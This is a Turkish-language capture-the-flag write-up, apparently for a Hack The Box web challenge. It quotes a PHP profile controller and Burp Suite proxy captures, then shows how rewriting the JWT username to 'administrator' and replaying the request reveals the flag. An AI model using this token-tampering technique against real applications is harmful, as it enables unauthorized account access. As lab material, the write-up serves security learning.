

Sisteme yeni bir kullanıcı kayıt edip ardından giriş yapıldığında kullanıcının isteğini yakalayıp JWT tokenini tutabiliriz.



Kaynak kodları incelediğimizde profillerin içerisinde administrator kullanıcıını görüyoruz. Akabinde UserController kısmında ise parolaların kısmını atlatabiliyoruz.

```
12 {
13     public function index()
14     {
15         $token = (string) $_COOKIE["token"] ?? null;
16         $flag = file_get_contents(APPPATH . "/../flag.txt");
17         if (isset($token)) {
18             $key = (string) getenv("JWT_SECRET");
19             $jwt_decode = JWT::decode($token, new Key($key, "HS256"));
20             $username = $jwt_decode->username;
21             if ($username == "administrator") {
22                 return view("ProfilePage", [
23                     "username" => $username,
24                     "content" => $flag,
25                 ]);
26             } else {
27                 $content = "Haven't seen you for a while";
28                 return view("ProfilePage", [
29                     "username" => $username,
30                     "content" => $content,
31                 ]);
32             }
33         }
34     }
35 }
```

JWT yakalayıp kullanıcı adı admin ile yenilenip isteği tekrar yolladığımızda bayrağı yakalayabiliriz.

Burp Suite Community Edition v2024.2.1.5 - Temporary Project

Dashboard Target Proxy Intruder Repeater View Help

Intercept HTTP history WebSockets history Proxy settings

Filter settings: Hiding CSS, image and general binary content

| # | Host | Method | URL | Params | Edited | Status code | Length | MIME type | Extension | Title | Notes | TLS | IP | Cooki |
|----|-----------------------------|--------|---------------------|--------|--------|-------------|--------|-----------|-----------|----------|-------|-----|----------------|-------|
| 13 | http://83.136.253.163:53141 | GET | /index.php/login | | | 200 | 1741 | HTML | | Login | | | 83.136.253.163 | |
| 14 | http://83.136.253.163:53141 | GET | /js/signIn.js | | | 200 | 1261 | script | js | | | | 83.136.253.163 | |
| 17 | http://83.136.253.163:53141 | POST | /index.php/login | | ✓ | 200 | 438 | JSON | | | | | 83.136.253.163 | |
| 18 | http://83.136.253.163:53141 | GET | /index.php/profile | | | 200 | 1140 | HTML | | Document | | | 83.136.253.163 | |
| 21 | http://83.136.253.163:53141 | GET | /index.php/login | | | 200 | 1741 | HTML | | Login | | | 83.136.253.163 | |
| 24 | http://83.136.253.163:53141 | GET | /index.php/register | | | 200 | 1768 | HTML | | Register | | | 83.136.253.163 | |
| 27 | http://83.136.253.163:53141 | POST | /index.php/register | | ✓ | 200 | 280 | script | | | | | 83.136.253.163 | |
| 28 | http://83.136.253.163:53141 | GET | /index.php/login | | | 200 | 1741 | HTML | | Login | | | 83.136.253.163 | |
| 29 | http://83.136.253.163:53141 | GET | /index.php/login | | | 200 | 1741 | HTML | | Login | | | 83.136.253.163 | |
| 30 | http://83.136.253.163:53141 | GET | /index.php/login | | | 200 | 1741 | HTML | | Login | | | 83.136.253.163 | |
| 33 | http://83.136.253.163:53141 | POST | /index.php/login | | ✓ | 200 | 443 | JSON | | | | | 83.136.253.163 | |
| 34 | http://83.136.253.163:53141 | GET | /index.php/profile | | | 200 | 1144 | HTML | | Document | | | 83.136.253.163 | |

Request

6 Referer: http://83.136.253.163:53141/index.php/login

7 Accept-Encoding: gzip, deflate, br

8 Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

9 Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE3MjU3MzgWMDIsImV4cCI6MTcyNTc3NDAwMiwiZXNlcm5hbWUiOiJtdXN0YWZlIn0.SkQPSBQoNWPBvHhpKVGFkp-U4vMX0szfhQptW0iAbc

10 Connection: close

Response

1 HTTP/1.1 200 OK

2 Date: Sat, 07 Sep 2024 19:40:03 GMT

3 Server: Apache/2.4.57 (Debian)

4 X-Powered-By: PHP/8.1.27

5 Cache-Control: no-store, max-age=0, no-cache

6 Vary: Accept-Encoding

7 Content-Length: 881

8 Connection: close

9 Content-Type: text/html; charset=UTF-8

10

Inspector

Selection: 156 (0x9c)

Selected text

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE3MjU3MzgWMDIsImV4cCI6MTcyNTc3NDAwMiwiZXNlcm5hbWUiOiJtdXN0YWZlIn0.SkQPSBQoNWPBvHhpKVGFkp-U4vMX0szfhQptW0iAbc

Request attributes

2

Event log All issues

Memory: 112.0MB

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE3MjU3MzgWMDIsImV4cCI6MTcyNTc3NDAwMiwiZXNlcm5hbWUiOiJtdXN0YWZlIn0.SkQPSBQoNWPBvHhpKVGFkp-U4vMX0szfhQptW0iAbc

HEADER: ALGORITHM & TOKEN TYPE

{

 "typ": "JWT",

 "alg": "HS256"

}

PAYLOAD: DATA

{

 "iat": 1725738002,

 "exp": 1725774002,

 "username": "administrator"

}

Bayrak yakalandı : HTB{I_just_want_to_sleep_a_little_a_bit!!!!!!}